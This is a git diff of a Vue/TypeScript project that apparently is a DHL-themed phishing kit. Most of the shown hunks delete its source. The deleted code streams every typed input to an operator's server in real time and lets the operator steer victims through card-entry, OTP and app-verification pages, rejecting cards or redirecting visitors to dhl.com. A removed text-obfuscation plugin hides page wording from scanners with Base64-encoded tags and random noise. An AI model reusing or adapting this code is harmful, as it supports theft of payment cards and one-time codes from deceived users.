- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.dhl.com/ch-de/home.html";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone1");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_post_temp2/src/components/HelloWorld.vue b/t_post_temp2/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_post_temp2/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_post_temp2/src/components/TheWelcome.vue b/t_post_temp2/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_post_temp2/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_post_temp2/src/components/WelcomeItem.vue b/t_post_temp2/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_post_temp2/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_post_temp2/src/main.ts b/t_post_temp2/src/main.ts
index 9187bd6..263494f 100644
--- a/t_post_temp2/src/main.ts
+++ b/t_post_temp2/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
VueScrollTo.scrollTo("#app", 0);
next();
});
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_post_temp2/src/mix/textObfuscator.ts b/t_post_temp2/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_post_temp2/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_post_temp2/src/utils/common.ts.backup b/t_post_temp2/src/utils/common.ts.backup
deleted file mode 100644
index 4dde738..0000000
--- a/t_post_temp2/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
